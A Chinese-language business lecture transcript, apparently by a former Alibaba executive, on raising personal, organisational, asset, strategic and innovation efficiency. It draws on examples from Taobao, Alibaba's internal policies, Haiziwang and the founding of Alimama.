+创建淘宝的时候，马云给淘宝又定了一个指标，人数再次不受限制。很多做企业的都说人数不受限制，那企业不是要失控吗？ + +告诉大家淘宝的指标是什么：人均1亿交易额。我是百安居出身，当时百安居一个两百人的店，一年能够做3-4个亿我们就很满意了。所以百安居这样传统零售企业的人效是多少呢？150万。 + +当我听到马云定的指标是人均一个亿，腿都软了。 + +每个亿收到的钱，大约是2%。所以，一个亿的GMV，人均收入大约是200万。 + +淘宝的人均利润比中国供应商要高。中国供应商每一百万收入大约25万净利，淘宝每一百万收入五十万到六十万净利。这一个人的交易额意味着什么呢？为公司带来两百万的收入和人均100万的利润。 + +你们去看一下谷歌一年收入是多少，人数有多少，利润有多少，你去除一除。你去看一下facebook的收入、利润，把facebook的人数除一除。 + +一个互联网公司没有人均10万美元的利润贡献，就不是真正的互联网公司。 + +所以大家只看到有多大、发展有多快；而这个大和快的背后，是效率。效率最重要的一个指标，就是人效。 + +哪些是效率？ + +你只要听到这个词里面，带个“效”，或者带个“率”的，都是你要关注的。 + +个人效率提升 + +如何提高效率，我们今天会分五个环节来讲。第一个部分，就是个人效率的提升。 + +既然谈个人效率提升，我们就要看今天的个人——我们的客户、我们的团队成员、我们的员工，都是什么样的人。 + +中国今天的社会中坚力量，我指是消费中坚力量，也包括我们每家公司的团队中坚力量，都基本上在85后到90后并逐渐走向95后。 + +那我们要了解，中国的85后、90后和95后，分别有什么重要的特点。你了解了这群人的特点，才会知道他们需要什么，再来谈谈这群人的个人效率提升如何做到。 + +事实上，85后才是中国真正互联网的第一代人。 + +中国主要的互联网公司都诞生在1999年，在2000年之前几乎没有互联网。一个1980年出生的人，2000年时候20岁，在2000年接触互联网。所以，他们基本上是工作以后接触互联网的。 + +1985年不一样，2000年几岁，十五十六岁，有六到七年的时间在学校里面，他们是中国生活在互联网的一代人。 + +90后、95后又不一样。特别是到了95后，他们肯定是互联网一代，但他们又是纯得不能再纯的移动互联网一代人。他的手机、他的pad就是他心目中对电脑的第一认识。 + +这是使用互联网习惯的标志性区别。85开始是互联网，但他们是PC互联网，90后特别95后纯移动互联网，我们第一个要记住的。 + +我们第二个要记住的，85后是中国温饱一代，90后95后是中国小康一代。 + +阿里的招聘，希望自己的这支队伍要能吃苦，就会问应聘者：你这辈子吃的最大苦是什么。前段时间有个人这么回答，他说从上海坐火车去无锡，没有买到座位票，他是站过去的，站了整整两个小时，好辛苦。一个90后、95后认为这样很苦，他不是真的能吃苦。 + +今天广州这个地方，四五千块钱的蓝领工作，不是老板炒你，是你炒老板。马路上到处贴着招工，四五千的工资，中国马上将进入劳动力短缺。 + +白领是不是好一点？如果是广州的年轻人，他的父亲、他的祖父辈如果在广州都有房。广州随便一套房几百万，他会在意在你公司领每个月一万块钱的工资吗？ + +85、80出生的人，饿过肚子的人还真有，95后还有吗？很难找到。所以他们是真正的有财富安全感的。 + +第三个要记住的，90、95后是中国独生子女2.0，他们的爸爸妈妈也是独生子女。那么2.0跟1.0有什么不一样呢？就是1.0所有的好处和坏处都成倍的放大。 + +放大一个表现形式，就是财富的安全感特别强，心理的安全感特别弱。 + +和富士康的郭台铭董事长也挺熟的，经常交流。 + +过去15年前他的工人主力是80后，离开工厂就进宿舍：把钱存着，回老家造房子，讨老婆，不花钱的，反正富士康包吃包住。 + +富士康现在给双倍、三倍的加班费，员工也不愿意加班。 + +郭董给每个宿舍楼下面安了一张防自杀网，我认为这是一个笑话：你薄薄的一张网能拦住一个人必死的决心吗？ + +但一年后发现这张网真的拦住了，不死人了。为什么？ + +原来在宿舍里跟同事吵架，一言不合就上楼顶跳下来。现在知道有张网了，上楼顶跳下来摔不死。但还是想死啊，走出宿舍出去找，气冲冲地去大街上转两条街找死的方法，一看大街上灯红酒绿不想死了，回来了。 + +想通过这个例子说明的是什么？90后、95后，心里安全感比以前低很多，以前的人有想死必死的决心。90后、95后说死就死，说不死就不死。他心里很脆弱。 + +基于这样才会有我现在这句话，面对这样的客户和面对这样的员工：好玩比好用重要。 + +短缺经济的时候，好用是非常重要的。但是现在经济挺好，日子也不错，光好用可能就不够了。 + +诺基亚到现在也没整明白它是怎么死的。 + +你们可能都不知道，诺基亚最后几个机型，在音乐、游戏、地图方面都有设置。也是触摸屏，还花钱买了几百万首歌的版权可以免费听，几万款游戏装在手机里，但这些很多人都不知道。 + +问题在哪儿？诺基亚作为电话，作为通讯工具，是真的好用。我自己现身说法，我最后一部诺基亚大概用到2015年，去非洲看动物，我们离狮子十米的时候我的手机响了，狮子吓一跳，我也吓一跳。周围所有苹果三星手机都没有信号，就诺基亚有信号。 + +所以诺基亚始终认为，我是要做一个好用的通讯工具，他们也是这么做的。 + +但我们有机会去跟苹果高管交流，苹果高管就说了一个问题。他说我们调研，每天打电话超过2个小时的，基本上是在呼叫中心工作的人，一般人不太会超过两个小时。但是玩手机，中国人现在平均要一天超过三个小时。 + +所以苹果定位是首先是好玩，其次才是好用。 + +做产品是这样。 + +今天对员工，要差不多好玩比好用重要。 + +我们以前离职员工都要谈话，为什么离开，待遇不好吗？发展机会不好吗？没有股权吗？ + +都不是，他说我这个老板老板着个脸，一点不好玩，我要找一个好玩的老板。很多员工今天追求的不再是过去的“对员工好”。 + +怎么叫对员工好呢？给予培训，给很好的福利，给工资、奖金、职业道路发展规划等等，希望公司成为对员工一个有用的公司。 + +这一代的90、95后，因为他有极强的财富安全感，他就不再追求这个公司对他有多好用，他追求的是这个公司有多好玩。 + +去年夏天，我带中国一些领导去硅谷的facebook办公室参观。转了一圈到门口了，领导问我怎么不带他们去看办公区域。我说我们刚刚走的都是办公区域。 + +那里的办公区域跟游乐场没什么区别，所以领导转完以后，以为转了半天都是活动区、娱乐区、休闲区。但实际刚才我们走的每一块土地都是facebook的办公区域。 + +facebook创始人平时也不在自己办公室办公，但是他有一个玻璃房子是办公室——没有任何窗帘透明的，所有人都能看到他。我们中国的带去参观的人，觉得这个机会难得，跑到办公室那儿，要拍照。 + +咱们想象一下，在中国公司会发生什么情况呢？第一，这种情况不会发生，中国公司老板不会有透明办公室。假设中国老板有，如果参观的人拿手机去拍，门口会站两个保镖挡：请勿摄影，违者罚款。 + +但facebook这里门口放了一块牌子，写的是：请不要拍摄笼子中的动物。他把自己当一个动物。我们看到那个牌子，还有中文写的，不仅英文，中英文对照。 + +那我想说明什么？在facebook好玩比好用重要。 + +这个老板自己把自己变成很好玩的人。只有一个很好玩的人，在自己的玻璃房门口，讨厌别人拍照的时候，才会挂出这么一块挺好玩的牌子。 + +自我驱动是个人效率最好的来源。成长是每个人自己的事，你不想成长，谁能逼你。所以我们要问自己的企业，有没有做成一个自我驱动的公司。 + +讲讲案例。 + +淘宝有赛马会。什么是赛马会呢？整个集团都在推广——我的级别，我做主。后来延伸——我的工资，我作主。 + +以前是什么形式呢? + +领导考察，觉得你表现不错，找你谈话：你要晋升了。在我们年轻的时候，受宠若惊——领导要晋升我。 + +现在我们对优秀的销售说，你做得不错，明年打算升你做主管了，继续努力。销售一听：我为什么要当主管？我做销售挺开心的。我们对优秀的工程师说，你可以去做主管了。码农却说，我管好自己就行，不要管别人。 + +这代人不一样了。 + +后来我们怎么解决的呢？自我驱动。年初，如果你觉得年底想晋升，就报名。不报名的人就一定不会晋升。能不能晋升两级？行，你报名，你报名晋升两级，我们就用两级的标准来要求你。 + +对于这代人来说，更重要的是你有没有给他他自我驱动的机制。 + +自我驱动是个人效率最好的来源。成长是每个人自己的事，你不想成长，谁能逼你。所以我们要问自己的企业，有没有做成一个自我驱动的公司。 + +这个机制还包括什么呢？你要把一个拉开的组织，想办法变小。为什么呢？个人在一个一万人的公司，或者哪怕一百人的公司，他的成就感，都变的很小了。 + +最小作战单位如果有活力、能驱动，一个公司就有活力。最近很多小店，都改成了“内部员工加盟”，让员工自己当老板。 + +每个人为自己的梦想做事，才可能成功。理想跟梦想的区别是什么？每个人的是梦想，一群人的才是理想。不要和单个人谈理想，每个人有自己的梦想，但是梦想一定不是鸡血。 + +这个梦想可以是财富，但不一定是财富。 + +梦想是每个人独立的。一个团队最重要了解你的团队每个人的梦想什么，帮助他实现、给他机制实现。让他为了自己的梦想，去自我驱动。 + +个人效率的提升，光是自我驱动是不够的。还是要有约束。但是90后他不喜欢被约束，那怎么办？要提倡自我约束。 + +举个例子。 + +阿里巴巴的很多客服、销售是女同学。2006年、2007年的时候，特别85后很多女孩子结婚了，要生孩子了。那个时候阿里巴巴整个我们的园区都是挺着大肚子的，我们平均一年生个700到800个孩子。 + +那个时候因为这类员工都在电脑亲工作，我们要给她们配一个防辐射的孕妇装，买最好的牌子，一件三百多，加上换洗的，一个孕妇发两件，也就是600多。算下来，一年48万。 + +这笔钱对那个时候的阿里巴巴说大不大，但已经也是笔钱。总得定个规定。 + +行政部规定了孕妇装的领用办法：当事人申请，主管批准。后来又想，主管怎么能确保这个人是不是真怀孕呢，就要配一个几级以上怀孕证明。 + +应该说这个规定不复杂。 而且600块钱领出去，确实总得有一个流程手续吧?但后来发现，这就是一个很愚蠢的政策：这个孕妇服不好看，女孩子爱美，没事不会套孕妇装。 + +我们为什么不相信自己的员工呢？就让她自己领吧。当时行政部提出了反对遇见，万一她给自己朋友领呢？ + +后来阿里做了一个很简单的宣讲，告诉所有员工，给大家准备了孕妇服，保护大家和未来下一代的身体健康，是给在职员工领的。如果你觉得很好，想给亲戚朋友送一件，到小卖部去买。如果你觉得你在阿里的待遇或者对朋友的友谊不值得这个捡钱，你也可以多领。 + +给员工把话讲透，就把原来的政策取消了。过了一年问领出去多少孕妇服，大概还是800件左右，说明也没有员工来占这个便宜，冒充怀孕。 + +你要跟员工宣讲，员工会自我约束，不要太担心。组织效率中最重要的两个字，就是信任。 + +讲这个例子以后，再讲一个更大一点例子。 + +在阿里加班，可以再吃一顿晚饭。当时，一顿晚饭公司出15块钱，大约一年两百五十个工作日，一年要吃掉差不多两千多万加班费。 + +最早的管理办法很简单，员工提申请，主管批准。主管批准加班，撕张券给你，六点钟开饭，你就去吃饭。这个制度，很多人觉得很正常，用了很多年。 + +但是，我们再问自己，这个制度是不是真的好？ + +第一，谁也没有规定工作到几点以后是加班。所以确实有一批人，六点钟吃饭，申请加班，吃完以后，六点半加班到七点钟走了。于公司，也没有什么制度说这不可以。 + +第二，我们从来没有去想，每天五、六千个人，提加班申请，主管批准，发一张券，这个动作，花了多少时间，花了多少钱。 + +好像这是不花钱的。实际上你想想看，每天五、六千个人写一个“今天要加班”，还得写一个理由：什么项目加班。主管看一眼批，还得撕一张券给你。 + +从来没有人计算这个成本。 + +后来我们跟员工讲清楚，加班晚餐是给加班的员工吃的，你不加班最好不要吃。但是如果你今天觉得很累，回去不想做饭，想吃完以后再回去，也没关系。反正公司是我们大家的，我们把公司吃光了，吃穷了，我们散伙。 + +一年下来，大概前一年加班餐费在1400万左右，取消报批制以后，多了大概100万，变成1500万了。 + +但计算一下，200多工作日，每天四、五千人打申请，主管批准发券，这事值不值一百万？中间消耗掉的人工，消耗掉的效率何止一百万。 + +你的公司，你的组织，有没有这样的制度？这是愚蠢的制度，官僚就是这么来的，组织的效率就是这么下降的。 + +提高个人效率，除了自我激励以外，不要有太多级约束。 + +我们相信大部分团队，能够有自我约束能力，有正常的道德底线。但是你要跟他讲，是什么样的道德底线。群众之间也是会互相监督的。 + +组织效率提升 + +组织效率下降的最大问题就是你对团队没有基本信任。 + +为什么创业的时候，效率都比较高？ + +所有的人知根知底，一个团队以前可能还一起共事过，不仅是默契，更多是一种信任。创业初期，信任带来了创业公司的简单，但随着越来越多陌生人加入，不信任开始增加。 + +当年支付宝有一句话，广告词非常好：因为信任，所以简单。我把这句话连下去，因为信任，所以简单；因为简单，所以高效。 + +公司中我们都希望老板和员工是互相信任的，但怎么做到呢？ + +我给大家建议的是，强势的一方要率先迈出一步。对员工来说，你是老板，你是公司，你就是强势的，你看阿里巴巴这些事，首先就是我们不相信员工了。员工说我怀孕了，我们不相信他；员工说我今天晚上要加班，多吃一顿饭，你不相信他。 + +强势一方不信任，那么你就不要指望员工来信任你。 + +组织高效有一个很重要的事：企业文化是干什么的？ + +就两件事——日子好的时候，企业文化带来信任，使公司变得简单高效；在公司快不行的时候，决定你能不能扛过来。红军两万五千里长征特别不容易，就是红军的价值观在起作用。 + +回到互联网时代，组织效率的提升，需要四个在线：员工在线、产品在线、客户在线、管理在线。这四个“在线”顺序还不能出错。 + +什么叫“在线”？ + +我们要感谢这个时代。PC互联网时代的特点是人机分离，人跟电脑是不在一起的。在那个时候，我们就不能谈四个“在线”。而移动互联网，让四个“在线”变得可行。 + +今天，特别是传统企业，首先会做的第一个在线是什么呢？产品在线，他把公司所有的产品和服务挂到网上、APP上，然后说：我拥抱互联网了。但是没人来。 + +这是次序错了。第一步要做的是员工在线。以前让员工在线，需要给每个人配一台电脑，需要花很多钱。在今天不需要。自己的手机就是一台电脑，就能实现员工在线。 + +员工上线后，再把产品搬上线，再把客户搬上线。在互联网时代，黏住客户的不是组织，一定是个人，人拉人，才有黏性；而人是不会去跟从一个组织的。 + +举个例子。 + +这是一家我们免费咨询半天，还没有机会投资的好公司，叫孩子王，总部在南京，现在在全国扩张，它的每个销售就是母婴顾问。 + +孩子王实现的是100%客户必须是电子化会员，100%的客户是交到每个员工手里，哪个员工先把这个客户发展成他的电子会员的，终身就是他的客户。 + +所以，我们有一次去看孩子王的店，见到一个母婴顾问，他打开手机，上面963个客户，就都是他的客户，一个月可以挣两、三万块钱。 + +他说他以前是开母婴店的，现在把小店关了：我的小店多累，才几个客户，不过两百多个商品。现在孩子王，却可以给我七千个商品的产品库。 + +你可以理解为产品在线，赋能给了这个员工七千个商品，给了他963个用户。 + +另外，这个母婴顾问擅长做的是婴儿护肤类产品。但是膳食类的，婴儿吃东西他并不熟悉。没关系，公司背后有知识库，很多问题都是自动回答，也就是推荐回答的问题。他按一下就用个人名义发出去了，这个就是管理在线。 + +还有，店长会在所有对话群里面，意味着你不能在里面跟客户乱说，在里面加不是孩子王的产品，这就叫管理在线。 + +上面提到的这个员工，他个人不觉得是在给孩子王上班。他觉得这900多个客户，每个月还得涨好几十个，就是他一辈子的资产。 + +下班时他告诉我，还要去给一个客户送两桶奶粉。这是公司要求的吗？不是，他自己想去送，因为上门没准会带点别的生意，把公司物流成本也省了。为什么？他觉得这个客户首先是他的，其次才是孩子王的。 + +这就是我前面讲的第一个环节，个人效率提升，孩子王充分实现了个人自我驱动。组织效率的提升，就是你让每一个员工，都具备组织赋予他的能力，这是他个人实现不了的。 + +这个母婴顾问，他自己怎么可能会有七千种商品来卖？一个母婴店怎么可能有上千个客户，而且每个月都在增加?一个人怎么可能懂所有母婴知识？ + +平台首先要对每一个团队，每一个个人真正有价值。所以这个母婴顾问才不会离开孩子王的平台，否则他自己创业去了。他不会创业，是他认为在孩子王也是一种自我驱动的创业。 + +资产效率提升 + +提高资产效率只有两种办法。 + +第一，是防止产生新的闲置资源；第二，是释放闲置资源。 + +防止产生新的闲置资源 + +我们以前做传统的零售，真的很苦：每一方都不满意。 + +我在类似百安居、沃尔玛这样的公司，供应商恨死我们——每年被你们压榨，被你们搞得我们赚不了钱。 + +消费者也没给我们写表扬信说，你们的东西真便宜，谢谢你们。东西不是特别便宜。 + +是不是我们真的一头压榨了供应商，一头又没有给消费者太多便宜呢？是不是零售企业真的赚很多钱呢？也不是。零售企业全世界平均利润率3%-5%，很低。一不小心前十个月赚的钱，就会12月份赔进去。因为库存出问题，清仓把利润全部赔掉。 + +所以这事不太符合商业原理。供应商在骂零售商，消费者没有表扬零售商，零售商到了年底一数钱没赚多少。 + +有个电视节目叫爸爸去哪儿了，我们不担心“爸爸去哪儿了”，担心钱去哪儿了。 + +这个钱去哪儿了呢？传统行业有一个重要法则——二八原则：20%的商品或客户，带来80%的销售和80%的利润。 + +问题就出在这个二八原则。20%的产品带来80%销售，这是你赚钱。坏就坏在，加上80%的产品，带来的那个20%销售，就不赚钱了。 + +比如说卖鞋子的店，你得备一个50码的超大码吧？这种码是给姚明这样的人穿的，但是你不知道姚明今年会不会走进你这个店。可能他就走不进来。但为了满足客户需要，你有一千家卖鞋子的店，就得每个店都放一双超大码的鞋子。 + +这就是二八原则里面的“八”，互联网诞生给它一个名字，叫长尾产品：占用了你的商业面积，降低资金周转效率，“二”赚来的钱被“八”消耗掉了。这是零售企业和很多实体经济最痛苦的地方。 + +互联网1.0如何解决这个问题的？ + +互联网的存在扩大了“商圈”的概念，只要物流能触及的点，都是它的商圈。 + +像京东，就一个中央仓库，备了十双像姚明脚一样大的鞋子，全世界的姚明都可以来买，就不需要每个门店备这样的货了。 + +今天天猫超市如果是自营的话，周转速度可以一年50次。传统做零售的听了就头这么大：我们真的不是同一种动物——零售一年五次、六次就谢天谢地了；互联网可以做到五十次到六十次。 + +为什么呢？他只用一个仓，更何况他还不占用昂贵的零售面积，所以1.0，1.0时代互联网，电商是这样来提高资产效率的。 + +所以互联网1.0，让库存效率提高到了极致，电商是这样来提高资产效率的。而互联网2.0，就是消费者按需定制，零库存。意味着我们没有制造新的将要被闲置的资源。 + +所以如何防止产生新的闲置资源呢？就是按需求去生产去组织，不是组织先生产产品，再去找消费者。 + +释放闲置资产 + +那么已经闲置的资产，如何释放呢？ + +移动互联网时代，一个最大的作用就是释放闲置资产。 + +比较典型的商业模式是优步、滴滴打车。司机在马路上绕，车闲着、人也闲着。有很多私家车，闲着也是闲着。你把他释放出来，所以才能够让一个屌丝享受VIP待遇，打个奔驰从这儿到机场五十块、一百块，因为车本来就闲着。 + +现在叫“网约车”，之前叫什么呢？“电约车”——电话也是可以约车的。 + +这里区别是什么：以前你电话打给一个单位约一辆车，调度台就会问哪位师傅在你那里附近，有一个客人要用车。结果这个师傅过去了，过去以后你不在那里了。这就是约不到，对不上。到底哪个司机离你那里近谁也不知道。 + +网约车是什么？我们叫人机合一，人、手机、时间、地点、支付五位一体。定位就告诉你，谁的闲置资源离我最近，因为有支付平台，就建立了交易信任，合在一起能够释放闲置资源。 + +原来是闲置资源闲在那儿，没办法释放出来，移动互联网来了释放出来。 + +什么叫共享经济？什么叫分享经济？ + +我很看好把闲置资源释放出来的分享经济，不看好重新投入资源做共享经济。 + +今天有很多做类似AIRBNB的。黄牛把房子先租下来，再转租出去，说我这是分享经济，并不是。 + +当你包下了这个资源，你就有固定的成本。公寓和酒店最重要盈利模式就是入住率，我从来没见过世界上有什么酒店入住率只有50%还能挣钱的，大都要到80~90%。 + +为什么入住率很重要呢？你没入住的房间就是闲置资产。 + +分享经济不用考虑“率”：我的房子闲着也是闲着，空也是空着，无所谓。但要是某某白领公寓是我投资，我来建的，或者我是包段的，那就是伪分享经济，最多是一个共享经济。 + +共享经济就是要追求资产利用率。 + +经常有人问我对摩拜单车、OFO怎么看。我只问每辆车每天的使用率。这是这个模式能否成功的关键。我不在乎你有多少车，这不重要。每一辆车每天的使用率，这个效率低就是这个公司效率低。 + +只要看到有资产，就要问这个资产的使用率。 + +如果不能让资产的使用率提高，它就没有创造价值。 + +做零售很痛苦，一个商场每天、每周总有一些相对比较空的时候。那你要动的脑筋就是如何提高资产使用率。对“闲着也是闲着”的资产，有没有更开放的方法来提供给别人使用。 + +很多人做企业，看到资产闲置，觉得不是那么惊心动魄，没那么心疼，因为资产的钱已经花了。但是你没想到其实搁在那儿没有用，每天造成的效率损失是很高的。 + +我们做零售，搞了半天没搞明白怎么赚钱。其实有一部分原因就是库存周转率太慢，一部分是商业面积平效太低。北方有句话叫“钝刀子拉肉”，看不见的手把应该属于我们的利润吃掉了。 + +战略效率提升 + +因为战略都是谈发展比较多，一谈“发展”就有“规模”二字。我们先来讲讲规模和效率的关系。 + +不是所有的企业，所有的行业，规模都会带来效率。所以我们提出一个叫三级规模效益理论。 + +先说最小的一级，三平方公里规模效率。大量的O2O，属于这一级。 + +我们以外卖平台为例。 + +我现在在广州正佳广场，那广州番禺区有什么好吃的餐厅，跟我点外卖有关吗？没关系。要是在番禺一个面馆点，送来成面疙瘩了。北京有什么好吃的跟我有关系吗？更没关系了。 + +我作为一个消费者关心什么呢？打开手机点餐，看周围3平方公里有什么好吃的能给我送过来。全国这个平台上有一百万餐厅？关我什么事。 + +对一个餐厅，他关心的是什么？送货半径就这三平方公里，在这三平方公里你范围内，你这个平台一天给我带来多少个订单。你平台全国有900万单？还是那句话，关我什么事。 + +这就意味着无论消费者还是卖家，不会因为你的平台大，而给你更多的钱；意味着每一个三平方公里都必须赚钱。 + +千万不要忽悠投资人说：我每一个三平方公里不赚钱，我一百个这样的三平方公里的单位放在一起，就赚钱了。你每个都不赚钱，那一百个也不赚钱，一万个更不赚钱。 + +这个模式是不是非常不好呢？也不是说不好，但每三平方公里都赚钱是非常困难的。 + +有没有比这个模式稍微幸福一点的呢？有，我们叫同城效应。也就是“三级规模效益理论”的第二个效应。 + +什么样的公司是同城效应呢？ + +比如58同城。我们看58上最多的什么？租房、找工作、搬家。我住在天河区，找一个海珠区的搬家公司也没事；我要找份工作，今天在正佳广场，但番禺的工作我也会考虑。 + +所以，每个城市，就是他提供的服务，倒不局限于三平方公里了，他提供的是同城服务。 + +跨地区有用吗？我现在在广州，想找一家特别好的搬家公司。但这公司在深圳，就不太行了吧？即使广州离深圳并不远，他们也不具备协同效应，不具备规模效应。 + +那么这类公司也很简单，你要做到每个城市都赚钱。 + +只有第三种公司才有全国或者全球规模效应。 + +比如说沃尔玛当年，他全球采购，全球供货，买得多，省得多。为什么沃尔玛在中国做不到呢？它的全球的供应链和采购规模在中国没用。中国另外搞一套供应链，那就比不过我们本地的超市了。天猫、京东只要物流能覆盖全国，就有全国规模效应。 + +三级规模效应理论听明白以后怎么运用呢？ + +还是回到我现在做投资，一年收到了商业计划书几百份，长的都很像：A轮做好一个城市，B轮做北上广深，C轮做15个核心城市，然后就没有了，很多公司到C轮戛然而止。 + +因为他不理解，不是所有的商业模式都要做北上广深的，不是所有的城市都必须全国铺开15个一线城市去做的。除非你是全国规模效应，你才需要北上广深，才需要15个城市。 + +所以效率的核心，在大部分的行业，要做密度，把密度做起来。密度做的高，效率就容易提升。 + +比如密度高，物流费用就一定会便宜。我这个车，一车可以配送更多的店，单车的物流配送费用一定会下降。同一个区域供应商基本就是同一批，听上去20个亿，其实你是10个亿找一个供应商买，另10个亿问另外一个供应商买。 + +你在一个区域把密度做起来，你的品牌就容易传播。有一些品牌在广州很有名，去佛山就很容易。但你这个品牌在广州很有名，北京就没有人听说过。口碑营销是最便宜的营销，你营销费用又降低，效率又高，获客成本就又降低了。 + +中国国家这么大，你急什么？一个省就是欧洲一个国家。一个省动不动就是五千万人、一亿人，做好这些人的生意就足够了，你已经是富可敌国了。 + +所以战略的效率提升，首先要判断我们是做什么样的规模效益，战略的判断错误，战略效率就会非常低下。 + +马云和柳传志都是我非常尊敬的中国企业家。 + +定战略、搭班子、带队伍，顺时针，这是马云告诉我的三句话。阿里是这么做的。柳传志告诉我，是搭班子、定战略、带队伍。 + +两大高人，九个字都是一样的，次序不同。 + +有一天我也问马云，你跟柳老两个人三句话都一样，为什么你们两个次序不一样。我说谁对，马云说都对，在不同阶段用不同的次序。 + +公司刚创的时候，请你用柳老的方法，搭班子、定战略、带队伍。 + +为什么呢？我们叫看菜吃饭，还是看饭吃菜。 + +你刚创业，没有马云这么强大的忽悠能力，那你就是有多少人制定一个符合这些人能干的战略，所以你是先搭班子，后定战略。带队伍是一样的。 + +但是你到了一定规模，你就是先定战略，再搭班子。也就是我用这个战略，如果发现班子有欠缺的话，我是可以通过引进人才来弥补我的短板，去实现我的战略。所以这是战略效率当中，你首先把搭班子和定战略的次序，在自己的企业不同阶段去选择正确。 + +公司以后有一定规模，会面临着创新乏力，或者叫战略定位方向不清。 + +什么是一国两制呢？好的战略，不是在会议中讨论出来，而是试出来的。首先问自己有没有给了他一国两制的政策，一个公司一套制度，是不可能有新的战略亮点的。 + +那么如何把战略亮点找出来呢？复盘。 + +复盘复什么？看那些试点项目有没有试出来，试出来后愿不愿意投入更多的资源。复盘是说：我们犯过什么错误，犯过的错误能不能记下来不再犯。 + +很多公司三年战略、五年战略写完就搁那儿了，有阶段性的复盘吗，有回头来看一看吗？ + +战略的核心就是取舍、排序、资源分配。什么战略？试点成功我取，试点不成功我舍。三个都成功了，排序，我优先发展哪一个，排完序资源分配。 + +什么是资源？人、钱。你有没有把最好的人，最好的钱，最多的钱，压到你最看好的试点已成功的项目上。 + +创新效率提升 + +第五个模块是针对有一定规模的公司来讲，创新效率。公司越大，创新效率越低越贫乏。 + +阿里巴巴不是神一样公司，阿里巴巴也犯很多错误。马云说他只想写一部书，叫《阿里巴巴的一千零一个错误》，到现在还没写。我估计他还没凑满一千零一个错误，凑满的时候会写。 + +再聊聊阿里巴巴犯过的错误。曾经一度2007年吧，阿里想做一个公司，叫阿里软件。 + +当时这个梦想很好：一天一块钱用上世界级的企业软件，也就是让中小企业一天付块钱用企业软件。 + +那时候我们已经有几十万的付费中小企业，和技术上非常优秀的团队，我们觉得做这件事是水到渠成。当时投资2亿人民币，做了两年，无疾而终，没有做出来。 + +我们所有的人坐下来复盘，说我们为什么失败了。 + +第一，去领军做这件事的人，不是他自告奋勇的，是任命他去做的。比如老总说，小王，我觉得你不错，你去领一个创新项目吧。小王迫于老板的淫威，答应了。其实他内心也是觉得这事不靠谱，他也没信心，但不好说出来。 + +你们问一下自己，当年你们去创业，有人来任命你吗？没有的。所以创新创业必须自我驱动，他自己认为这事靠谱。 + +第二，我们检讨阿里软件，钱给的太多了，一下子给两个亿，钱多人一定就变傻了。创业的时候，是没有钱的时候，是你要做空手套白狼的生意时候，也是你最聪明的时候。 + +钱多了，最多你用了团队，为老板负责，追求投资回报率，这还是碰到一个负责的团队。但没钱你就不会去想投入产出率，你要想的是：我不投入也有产出率。这个时候就是特别聪明的时候。 + +我们觉得阿里软件钱给多了，所以后来又想做一个项目，这个项目叫阿里妈妈。 + +马云这种怪名字挺多，他觉得有爸爸没妈妈挺孤单的，很早就把域名都注册好了。从名字知道这个项目多重要，那是爸爸的另一半，叫阿里妈妈。 + +今天淘宝的收入的将近70%跟阿里妈妈有关，可见阿里妈妈这个项目有多重要。那是个什么呢？其实就是今天的阿里直通车，阿里钻石展位，阿里淘宝的联盟，它的基础就是阿里妈妈。它是一个广告系统。 + +当时淘宝不知道怎么赚钱，后来想想可能广告还是靠谱的。但是阿里原来没有这个互联网广告的基因和技术，也没有团队，怎么办呢？当时是想去买另外一家公司，喊价是四亿美金。 + +阿里那时候想去买，没钱，被别人买走了。我们融资成功以后，融了17亿美金。我们又去找买了那个公司的人说，你刚买了6个月，4亿美金买的，出10个亿卖不卖？ + +但人家听说融了17个亿，就说，15个亿就卖。 + +这么一来我们就不干了。17亿美金，全世界路演好辛苦，拿回来口袋里没捂热呢，买不起。不要觉得阿里都是财大气粗，那个时候手上有17亿美金，花15亿美金这事不敢干，虽然我们认为很重要。 + +创业没有退路，买不了就自己干。所以这个时候我们决定自己做阿里妈妈。 + +我为什么要讲前面这两个前提？你要看为了做这件事，阿里愿意花多少钱去买——十亿美金。 + +这个事结果告诉你，是成了的。成了有多大意义，淘宝70%左右的收入，跟阿里妈妈有关。 + +讲完这个我们再来时候，当时我们花多少钱去干这个项目呢？马云伸了两个手指头。 + +我们的同事站出来：老大，两亿美金，对不对？马云说NO，太多了。那么，两亿人民币？马云说No。那两千万人民币总要吧？马云说200万。 + +马云不是数学不好吗？有的时候数学不好的人也挺难对付的，他的算法跟你不一样。 + +他说我是怎么算的。我们1999年，十几个人凑了50万人民币，把阿里巴巴做到2008年这个规模，上市部分就两三百亿美金。充分考虑了中国的通货膨胀，我认为2008年的200万，还是比1999年的50万值钱。如果50万可以，200万应该可以成的。 + +200万那谁来干呢？ + +我们在一定范围内让大家来报名：公司只投资200万，你也可以参与投资，占百分之二、三十，也就是40万到60万。 + +如果你是集团内部来申请的话，集团原有的级别、工资、股权全部拿掉。做好了呢？公司会用风险投资的方法来追加投资，最后可以和淘宝换股合并回去。 + +这两百万我们叫包括了所有事情，你如果用公司的办公室、律师、电脑，都是要算钱的。员工的工资也是含在这两百万里面的。 + +所以他们第一件事就去找马云说这条件实在太苛刻了，那要不我们就去你以前创业的地方，湖畔花园。所以租金费用就省了。另外高管决定不拿工资，把人工成本也抠下来了。 + +第一关第二关过了，第三关又有问题了。当时为什么要两亿人民币？是必须要。因为当时算了一下，做这个东西要流量，整个阿里的流量和很多账外的流量。 + +当时算怎么都需要五千台服务器，那个时候服务器两万一台，光服务器投入就是一个亿。但只有两百万，租都租不起。 + +所以那群人，在公司上上下下到处去找财务上已经折旧折光的，报废了的服务器。找到两千七百台。工程师是有创造力的，他通过不同的架构，让2700台旧的服务器起到5000台新的服务器同样的作用。 + +还不行，原来为什么要2个亿，还有一个亿干什么呢？阿里妈妈除了淘宝内部的流量，需要外部的流量。外部流量都被百度别的公司包了，或者百度联盟圈进去了。 + +那个时候百度的分成体系好像是六四开，百度拿六。我们宣布一个政策，95比5，我们只拿5，你拿95，但是条件是没有预付款，有帐分帐。 + +很多网站就敢于挑战一下百度，所以一下子就起到了一个淘宝联盟的颠覆性作用。最后这个项目成了。 + +我们来看看做了一个什么事：我们又回到了一个创业的环境——回到了马云的家，只有两百万，又得整天做空手套白狼的事。 + +那个时候我还想，这帮都是工程师为主，去成立一个公司，什么工商、税务都不懂，要不要公司的法务部、财务部给他们办了。 + +马云说别这样，他说最讨厌所谓的孵化器。你这样工程师好像都变成了圈养的动物，创业都是野生动物。谁说工程师不应该学着办工商登记？谁说工程师不应该学税务、搞关系？他必须去，这就是他的生存能力。 + +不能把他这些给外包了，外包了他们就不是野生动物了，而是圈养的动物。我们都知道圈养的动物就是猪、羊，出来是要被别人宰的。而野生动物是宰别人的，野生老虎是吃人的。 + +所以还原了一个创业的环境。 + 